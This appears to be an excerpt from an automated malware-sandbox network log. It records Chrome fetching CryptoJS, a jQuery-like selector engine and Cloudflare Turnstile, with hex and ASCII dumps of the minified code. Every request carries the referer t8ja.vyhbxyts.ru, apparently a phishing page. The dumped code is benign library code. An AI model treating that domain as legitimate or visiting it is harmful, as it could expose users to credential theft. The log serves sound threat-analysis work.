2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	104.17.25.14	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:51 UTC	650	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:52 UTC	958	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:54:52 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 881472 Expires: Tue, 24 Feb 2026 21:54:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9neRB8WcEQ13GoTaW%2BdYMKxlvUr4k7u6vrv%2BRBk7lfntSWfliKDH%2BWGF06dpUAxVfF5hIbRNHHx1tftTgkSJUYlHSofVMRV2CgGnRwSSvpPoC2EdPWrrQAufEy1xKmKxzaUpzMQ2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91c518140dc84213-EWR alt-svc: h3=":443"; ma=86400
2025-03-06 21:54:52 UTC	411	IN	Data Raw: 37 62 66 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf4!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-03-06 21:54:52 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	104.18.95.41	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:53 UTC	647	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:54 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:54:54 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91c5181fe86e41f8-EWR alt-svc: h3=":443"; ma=86400
2025-03-06 21:54:54 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
